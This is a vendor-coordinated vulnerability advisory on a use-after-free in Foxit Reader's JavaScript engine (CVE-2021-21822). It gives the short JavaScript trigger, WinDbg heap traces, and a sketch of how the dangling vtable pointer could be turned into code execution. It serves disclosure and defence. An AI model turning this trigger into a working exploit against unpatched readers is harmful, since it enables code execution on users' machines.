Talos Vulnerability Report

TALOS-2021-1287

Foxit Reader FileAttachment annotation use-after-free vulnerability

MAY 6, 2021

CVE NUMBER

CVE-2021-21822

Summary

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader, version 10.1.3.37598. A specially crafted PDF document can trigger the reuse of previously free memory, which can lead to arbitrary code execution. An attacker needs to trick the user into opening a malicious file or site to trigger this vulnerability if the browser plugin extension is enabled.

Tested Versions

Foxit Reader 10.1.3.37598

Product URLs

https://www.foxitsoftware.com/pdf-reader/

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Details

Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe's Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use after free vulnerability in the way Foxit Reader handles certain annotation types. The attached proof of concept PDF document demonstrates this vulnerability. In document open javascript action we have:

```
function main() {

    this.pageNum = 1;
    this.addAnnot({page: 1, type: "FileAttachment", point: [11,14,6,8]});
}
```

Above code switches the current page from 0 to 1. The effect of this is that a page close handler function for page 0 will be queued for execution. The execution in main continues and an annotation of type "FileAttachment" is added to the page. This annotation is special in that it pops up a file chooser dialog box which effectively blocks the execution so the page close handler kicks in. In the close page handler we have the following:

```
function f123() {
        global.saved_this.getAnnots()[0].destroy();
}
```

The above simply destroys the annotation created in `main`. The result of this is that the annotation's backing object gets freed. The handler is finished and execution returns to blocking dialog box. When the dialog box is dismissed in any way (selecting a file, closing , canceling) the rest of annotation creation code is executed, but the memory backing the object is freed which can result in memory corruption. This can be observed in the debugger:

```
0:000> k 10
 # ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 06fbb148 017d5991 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2da31
01 06fbb1e4 017d8e7c FoxitReader!CryptUIWizExport+0x5920f1
02 06fbb294 01030852 FoxitReader!CryptUIWizExport+0x5955dc
03 06fbb2a8 0147fd93 FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2ab5e2
04 06fbb308 01472925 FoxitReader!CryptUIWizExport+0x23c4f3
05 06fbb364 02cb016b FoxitReader!CryptUIWizExport+0x22f085
06 06fbb3ac 02e75e59 FoxitReader!FXJSE_GetClass+0x22b
07 06fbb400 02e755ef FoxitReader!CFXJSE_Arguments::GetValue+0x1c5729
08 06fbb494 02e758b1 FoxitReader!CFXJSE_Arguments::GetValue+0x1c4ebf
09 06fbb4dc 02e7574b FoxitReader!CFXJSE_Arguments::GetValue+0x1c5181
0a 06fbb4f8 0301cdf7 FoxitReader!CFXJSE_Arguments::GetValue+0x1c501b
0b 06fbb514 02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x36c6c7
0c 06fbb54c 02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x2fb000
0d 06fbb578 02fa92bf FoxitReader!CFXJSE_Arguments::GetValue+0x2fb000
0e 06fbb58c 02fa90db FoxitReader!CFXJSE_Arguments::GetValue+0x2f8b8f
0f 06fbb5b8 02ce65c6 FoxitReader!CFXJSE_Arguments::GetValue+0x2f89ab
0:000> !heap -p -a ebx
    address 1c5e8f98 found in
    _DPH_HEAP_ROOT @ 9a71000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                              1c5f0514:         1c5e8f98               68 -         1c5e8000             2000
          ? FoxitReader!std::basic_streambuf<char,std::char_traits<char> >::`vftable'+c36ac
    695dabb0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    7721245b ntdll!RtlDebugAllocateHeap+0x00000039
    77176dd9 ntdll!RtlpAllocateHeap+0x000000f9
    77175ec9 ntdll!RtlpAllocateHeapInternal+0x00000179
    77175d3e ntdll!RtlAllocateHeap+0x0000003e
    03e147ac FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x002ebe6c
    03b2c89e FoxitReader!FPDFSCRIPT3D_OBJ_BoundingBox__Method_ToString+0x00003f5e
    01e4cdba FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00436eda
    01036f0d FoxitReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002b1c9d
    00afd5da FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002d07a
    00afddc0 FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002d860
    00afd54a FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0002cfea
    014744a7 FoxitReader!CryptUIWizExport+0x00230c07
    01473641 FoxitReader!CryptUIWizExport+0x0022fda1
    0135de3d FoxitReader!CryptUIWizExport+0x0011a59d
    0132a0b5 FoxitReader!CryptUIWizExport+0x000e6815
    02cb016b FoxitReader!FXJSE_GetClass+0x0000022b
    02e75e59 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5729
    02e755ef FoxitReader!CFXJSE_Arguments::GetValue+0x001c4ebf
    02e758b1 FoxitReader!CFXJSE_Arguments::GetValue+0x001c5181
    02e7574b FoxitReader!CFXJSE_Arguments::GetValue+0x001c501b
    0301cdf7 FoxitReader!CFXJSE_Arguments::GetValue+0x0036c6c7
    02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x002fb000
    02fab730 FoxitReader!CFXJSE_Arguments::GetValue+0x002fb000
    02fa92bf FoxitReader!CFXJSE_Arguments::GetValue+0x002f8b8f
    02fa90db FoxitReader!CFXJSE_Arguments::GetValue+0x002f89ab
    02ce65c6 FoxitReader!CFXJSE_Arguments::GetValue+0x00035e96
    02ce60a7 FoxitReader!CFXJSE_Arguments::GetValue+0x00035977
    02cd33a7 FoxitReader!CFXJSE_Arguments::GetValue+0x00022c77
    02cae8bf FoxitReader!FXJSE_Runtime_Release+0x00000c4f
    02caf0d4 FoxitReader!FXJSE_ExecuteScript+0x00000014
    013a6e22 FoxitReader!CryptUIWizExport+0x00163582


0:000> dd ebx
1c5e8f98  045b4908 1d31eff8 1f846fc0 0c5b0f70
1c5e8fa8  c0c0c000 ffffffff 18da4fc8 01010101
1c5e8fb8  00000004 00000000 00000000 00000000
1c5e8fc8  00000000 00000000 00000000 201deff0
1c5e8fd8  00000000 0c1b0ff0 00000000 18eaeff8
1c5e8fe8  140407e5 01250917 c0c00000 00000000
1c5e8ff8  c0c0c000 1f846fc0 ???????? ????????
1c5e9008  ???????? ???????? ???????? ????????
0:000> u eip
FoxitReader!std::basic_ostream >::operator0:000> u eip+2
FoxitReader!std::basic_ostream >::operator:
00afdf93 8bcb            mov     ecx,ebx
00afdf95 c745e401000000  mov     dword ptr [ebp-1Ch],1
00afdf9c ff5008          call    dword ptr [eax+8]
00afdf9f 8945e0          mov     dword ptr [ebp-20h],eax
00afdfa2 85c0            test    eax,eax
00afdfa4 0f84fb020000    je      FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2dd45 (00afe2a5)
00afdfaa 8d4dd8          lea     ecx,[ebp-28h]
00afdfad c745d840d9f204  mov     dword ptr [ebp-28h],offset FoxitReader!std::basic_ostream<char,std::char_traits<char> >::`vbtable'+0x14fe4
(04f2d940)
0:000> u poi(poi(ebx)+8)
FoxitReader!std::basic_ios >::fill+0x285580:
0100a7f0 8b4108          mov     eax,dword ptr [ecx+8]
0100a7f3 c3              ret
0100a7f4 cc              int     3
0100a7f5 cc              int     3
0100a7f6 cc              int     3
0100a7f7 cc              int     3
0100a7f8 cc              int     3
0100a7f9 cc              int     3
```

Above, we can see a carefully placed breakpoint at the time where object is first being accessed. We can see the size of the allocation, `0x68`, and the memory address `0x1c5e8f98`. Continuing the execution and breaking just after the call to `destroy()` in page close handler we can see the following:

```
0:000> g
ModLoad: 67870000 67918000   C:\WINDOWS\SysWOW64\Windows.Storage.Search.dll
(113c.2884): Break instruction exception - code 80000003 (first chance)
eax=071f7000 ebx=00000000 ecx=771d42f0 edx=771d42f0 esi=771d42f0 edi=771d42f0
eip=7719cbd0 esp=3934fb5c ebp=3934fb88 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!DbgBreakPoint:
7719cbd0 cc              int     3
0:021> !heap -p -a 1c5e8f98
address 1c5e8f98 found in
_DPH_HEAP_ROOT @ 9a71000
in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                1c5f0514:         1c5e8000             2000
695dae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77212c91 ntdll!RtlDebugFreeHeap+0x0000003e
77173c45 ntdll!RtlpFreeHeap+0x000000d5
77173812 ntdll!RtlFreeHeap+0x00000222
75f6b24b combase!CoTaskMemFree+0x0000003b [onecore\com\combase\class\memapi.cxx @ 467]
679438bc StructuredQuery!StructuredQuery1::BaseCondition::Release+0x0000009c
6796b46c StructuredQuery!FixedCapacityObjectCollection::~FixedCapacityObjectCollection+0x00000050
6795acb9 StructuredQuery!FixedCapacityObjectCollection::`scalar deleting destructor'+0x0000000a
6796b46c StructuredQuery!FixedCapacityObjectCollection::~FixedCapacityObjectCollection+0x00000050
6795acb9 StructuredQuery!FixedCapacityObjectCollection::`scalar deleting destructor'+0x0000000a
761d89a7 windows_storage!SafeRelease<IActionProgress>+0x0000002a
761aba8a windows_storage!CConditionEvaluator::~CConditionEvaluator+0x0000003d
761abf6e windows_storage!GrepDoesItemMatchCondition+0x000000c4
761ac17b windows_storage!DoesPropertyStoreMatchFilter+0x0000009b
761ac2a6 windows_storage!DoesItemMatchFilter+0x000000bc
7622beec windows_storage!IItemFilter_DoesItemMatchFilter+0x0000011a
7622bd8e windows_storage!_FilterItem+0x000000c1
7622b51f windows_storage!CEnumTask::_FilterItem+0x00000033
761850e7 windows_storage!CEnumTask::_IncrEnumFolder+0x00000183
7622b112 windows_storage!CEnumTask::InternalResumeRT+0x000001e2
762909cc windows_storage!CRunnableTask::Run+0x000000dc
76291ac2 windows_storage!CShellTask::TT_Run+0x00000080
76290bc0 windows_storage!CShellTaskThread::ThreadProc+0x0000009b
7629245c windows_storage!CShellTaskThread::s_ThreadProc+0x0000002c
76c6cb64 shcore!ExecuteWorkItemThreadProc+0x00000024
77155990 ntdll!RtlpTpWorkCallback+0x00000120
77181b22 ntdll!TppWorkerThread+0x000006e2
76778494 KERNEL32!BaseThreadInitThunk+0x00000024
771941c8 ntdll!__RtlUserThreadStart+0x0000002f
77194198 ntdll!_RtlUserThreadStart+0x0000001b


0:021> dd 1c5e8f98
1c5e8f98  ???????? ???????? ???????? ????????
1c5e8fa8  ???????? ???????? ???????? ????????
1c5e8fb8  ???????? ???????? ???????? ????????
1c5e8fc8  ???????? ???????? ???????? ????????
1c5e8fd8  ???????? ???????? ???????? ????????
1c5e8fe8  ???????? ???????? ???????? ????????
1c5e8ff8  ???????? ???????? ???????? ????????
1c5e9008  ???????? ???????? ???????? ????????
0:021> k 5
# ChildEBP RetAddr
00 3934fb58 771d4329 ntdll!DbgBreakPoint
01 3934fb88 76778494 ntdll!DbgUiRemoteBreakin+0x39
02 3934fb9c 771941c8 KERNEL32!BaseThreadInitThunk+0x24
03 3934fbe4 77194198 ntdll!__RtlUserThreadStart+0x2f
04 3934fbf4 00000000 ntdll!_RtlUserThreadStart+0x1b
```

In the above, we can see that previously allocated memory is now free and can be reclaimed. Continuing execution further leads to reuse of the freed memory and a crash:

```
Breakpoint 0 hit
eax=06fbe05f ebx=1c5e8f98 ecx=06fbe05f edx=09a70000 esi=1c5e8f98 edi=0c5b0f70
eip=00afdf91 esp=06fbe02c ebp=06fbe06c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitReader!std::basic_ostream >::operator0:000> u
FoxitReader!std::basic_ostream >::operator:
00afdf91 8b03            mov     eax,dword ptr [ebx]
00afdf93 8bcb            mov     ecx,ebx
00afdf95 c745e401000000  mov     dword ptr [ebp-1Ch],1
00afdf9c ff5008          call    dword ptr [eax+8]
00afdf9f 8945e0          mov     dword ptr [ebp-20h],eax
00afdfa2 85c0            test    eax,eax
00afdfa4 0f84fb020000    je      FoxitReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x2dd45 (00afe2a5)
00afdfaa 8d4dd8          lea     ecx,[ebp-28h]
0:000> dd ebx
1c5e8f98  ???????? ???????? ???????? ????????
1c5e8fa8  ???????? ???????? ???????? ????????
1c5e8fb8  ???????? ???????? ???????? ????????
1c5e8fc8  ???????? ???????? ???????? ????????
1c5e8fd8  ???????? ???????? ???????? ????????
1c5e8fe8  ???????? ???????? ???????? ????????
1c5e8ff8  ???????? ???????? ???????? ????????
1c5e9008  ???????? ???????? ???????? ????????
0:000> !heap -p -a ebx

(113c.2af0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=06fbe05f ebx=1c5e8f98 ecx=06fbe05f edx=09a70000 esi=1c5e8f98 edi=0c5b0f70
eip=00afdf91 esp=06fbe02c ebp=06fbe06c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
```

Again, we see the reuse of the same memory which is now invalid. Additionally, the reuse happens in a form of a vtable dereference, giving a straightforward path to control flow hijacking. Freed memory can be reclaimed and put under control in the page close handler thereby giving control over the dereference. With precise memory control, this can lead to arbitrary code execution.

Timeline

2021-04-26 - Vendor Disclosure

2021-05-06 - Vendor Patched; Public Release

CREDIT

Discovered by Aleksandar Nikolic of Cisco Talos.